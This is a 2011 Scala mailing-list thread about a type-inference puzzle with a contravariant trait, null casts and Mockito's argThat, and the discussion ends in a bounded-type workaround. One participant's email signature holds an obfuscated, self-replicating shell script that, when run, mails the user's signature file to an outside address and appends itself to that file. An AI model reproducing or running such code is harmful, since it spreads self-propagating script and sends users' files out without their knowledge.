Type-inference error

114 views
Skip to first unread message

etorreborre

unread,
Jul 12, 2011, 2:03:17 AM7/12/11
to scala...@googlegroups.com
Hi,

Before I create a ticket I want to ask if what I'm observing is a bug in your opinion or not.

Given the following definitions:

  trait AbstractFunctor[-T]
  case class Functor[T](t: T) extends AbstractFunctor[T]

  def hole[T](f: =>AbstractFunctor[T]): T = null.asInstanceOf[T]

I am not expecting this code to compile:

  val i: AbstractFunctor[Int] = hole(Functor(1))

because "hole" should just return a T when passed a Functor[T].

I also observe that this only happens when the type parameter of AbstractFunctor is declared as contravariant.

Thanks,

Eric.

Daniel Hinojosa

unread,
Jul 12, 2011, 2:30:37 AM7/12/11
to scala...@googlegroups.com
I also found this:

val i: AbstractFunctor[String] = hole(Functor(1))
i: AbstractFunctor[String] = null

but if you do

val i: Int = hole(Functor(1))
i: Int = 0

It's fine.

Daniel Hinojosa

unread,
Jul 12, 2011, 2:41:02 AM7/12/11
to scala...@googlegroups.com
Perhaps, this just has to do erasure:

val i: String  = hole(Functor(1)) compiles with an answer of null and since it is the subtype of all, it makes the inference.

therefore null.asInstanceOf[T], if T is not known it merely returns null which will compile.

etorreborre

unread,
Jul 12, 2011, 2:41:27 AM7/12/11
to scala...@googlegroups.com
Yes indeed, that's a way to make things right.

It actually seems that the inferred type is something like "Int with AbstractFunctor[Int]"

The trouble is, in my code the "hole" function is an implicit which gets picked up when it shouldn't. And because it's returning a null value, I get a NPE :-(.It 

E.

Daniel Sobral

unread,
Jul 12, 2011, 9:02:30 AM7/12/11
to scala...@googlegroups.com
On Tue, Jul 12, 2011 at 03:03, etorreborre <etorr...@gmail.com> wrote:
> Hi,
> Before I create a ticket I want to ask if what I'm observing is a bug in
> your opinion or not.

Not sure if it is a bug.

> Given the following definitions:
>   trait AbstractFunctor[-T]
>   case class Functor[T](t: T) extends AbstractFunctor[T]
>   def hole[T](f: =>AbstractFunctor[T]): T = null.asInstanceOf[T]

scala> val x = Functor(1)
x: Functor[Int] = Functor(1)

scala> hole[Int with AbstractFunctor[Any]](x)
res1: Int with AbstractFunctor[Any] = 0

scala> hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
res2: AbstractFunctor[Any] = null

With invariance:

scala> hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
<console>:13: error: type mismatch;
found : Functor[Int]
required: AbstractFunctor[Int with AbstractFunctor[Any]]
Note: Int >: Int with AbstractFunctor[Any], but trait AbstractFunctor
is invariant in type T.
You may wish to define T as -T instead. (SLS 4.5)
hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
^

So, is "Int with AbstractFunctor[Any]" is a supertype of Int? If so,
then not bug. If not, then bug. :-)

--
Daniel C. Sobral

I travel to the future all the time.

Florian Hars

unread,
Jul 12, 2011, 11:58:31 AM7/12/11
to scala...@googlegroups.com
On Mon, Jul 11, 2011 at 11:03:17PM -0700, etorreborre wrote:
> I want to ask if what I'm observing is a bug

No, you're just lying to the compiler by casting null
to an uninhabited type.

Let's look at hole[String](Functor(1))
This typechecks if the argument is an AbstractFunctor[U]
for some type U that is a subtype of String. "Int with String"
is such a type, which is also a subtype of Int. But since
AbstractFunctor is contravariant, Functor(1) as an
AbstractFunctor[Int] is also an AbstractFunctor[Int with String]
so that hole[Int with String](Functor(1)) typechecks, and
since methods are covariant in their return type,
hole[String](Functor(1)) typechecks, too. QED.

Maybe I should open an enhancement request to rename
.asInstanceOf[X] to .iCanFormallyProveThisIsReallyAnInstanceOf[X].

- Florian.
--
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`

etorreborre

unread,
Jul 12, 2011, 6:18:30 PM7/12/11
to scala...@googlegroups.com
Hi all,

Thanks for looking into this.

I agree that the compiler is doing the right thing, even if that was not intuitive for me at first.

Maybe I should open an enhancement request to rename
.asInstanceOf[X] to .iCanFormallyProveThisIsReallyAnInstanceOf[X].

Why not :-), but that wouldn't fix the issue. There are other ways to get the same kind of awful method signature, something like that for example:

  def hole[T](f: Option[T]): T = f.get

I'd actually be happy to get rid of that method signature but I get it from a Mockito method which allows to use matchers as parameters for method calls, instead of using regular parameters. And in specs2, matchers are contravariant for a good reason.

What's really worrisome and just popped up a few days ago, is the fact that using the "hole" (argThat more precisely) method as an implicit punches a huge hole in the typechecking of user programs. Lots of expressions which wouldn't typecheck are now being compiled ok. Removing this implicit would add unnecessary noise to specs2 Specifications using Mockito:

   myMock.call(equalsTo(2), matching(".*hello"))

becomes

   myMock.call(argThat(equalsTo(2)), argThat(matching(".*hello")))

So unless I find a good solution around this, we're left with either a loss of clarity in the Mockito code or missing typecheck errors :-(

Eric.

Florian Hars

unread,
Jul 13, 2011, 2:18:39 AM7/13/11
to scala...@googlegroups.com
On Tue, Jul 12, 2011 at 03:18:30PM -0700, etorreborre wrote:
> Why not :-), but that wouldn't fix the issue. There are other ways to get
> the same kind of awful method signature, something like that for example:
>
> def hole[T](f: Option[T]): T = f.get

That's not the same, thats *completely* different. Option is
covariant in T, and you can get a T out of it.
How would you do that with a Foo[-T]?

> I'd actually be happy to get rid of that method signature but I get it from
> a Mockito method which allows to use matchers as parameters for method
> calls, instead of using regular parameters. And in specs2, matchers are
> contravariant for a good reason.

You probably should get rid of it, as it is a lie. The
signature with a Foo[-T] basically says: Give me an object
that has a method that takes an argument of any concievable
type T, and I will pull an object of type T out of thin air.
This can only be implemented if you always return an object
that has a type that is a subtype of any other type. i.E. Nothing,
which is uninhabited. So all "valid" implementations of the
signature must be isomorphic to either
while (true) {}
or
throw new Exception("Impossible")

> What's really worrisome and just popped up a few days ago, is the fact that
> using the "hole" (argThat more precisely) method as an implicit punches a
> huge hole in the typechecking of user programs.

Are you sure that argThat doesn't perform any casts, like, by
calling that method:

public <T> T returnNull() {
return null;
}


> Lots of expressions which
> wouldn't typecheck are now being compiled ok.

If I read the code correctly, subverting the type system is the
whole point of argThat. If you import an implicit that says
that converting everything to null is better than a type error
and then get an NPE, you've got nobody to blame but the author
of the implicit. But you might recover some saftey by bounding
the return type from below:

scala> class Foo
defined class Foo

scala> class Bar extends Foo
defined class Bar

scala> def hole1[T](f: =>AbstractFunctor[T]): T = null.asInstanceOf[T]
hole1: [T](f: => AbstractFunctor[T])T

scala> val i: Bar = hole1(Functor(new Foo))
i: Bar = null

scala> val i: Foo = hole1(Functor(new Bar))
i: Foo = null

scala> def hole2[T,U<:T](f: =>AbstractFunctor[U]): T = null.asInstanceOf[T]
hole2: [T,U <: T](f: => AbstractFunctor[U])T

scala> val i: Foo = hole1(Functor(new Bar))
i: Foo = null

scala> val i: Bar = hole2(Functor(new Foo))
<console>:11: error: type mismatch;
found : Foo
required: Bar
val i: Bar = hole2(Functor(new Foo))
^

Of course, you still get nulls if the implicit matches, but that
seems to be on purpose.

etorreborre

unread,
Jul 13, 2011, 5:11:32 AM7/13/11
to scala...@googlegroups.com
Thanks Florian, 

I was hoping to be able to add this kind of constraint but you're bringing it to me on a golden plate.

This works ok and having argThat "lying" by doing a cast is not a big deal because it just helps Mockito faking method calls.

Thanks a lot for your help on that matter, I feel much safer now :-)!

Eric.
Reply all
Reply to author
Forward
0 new messages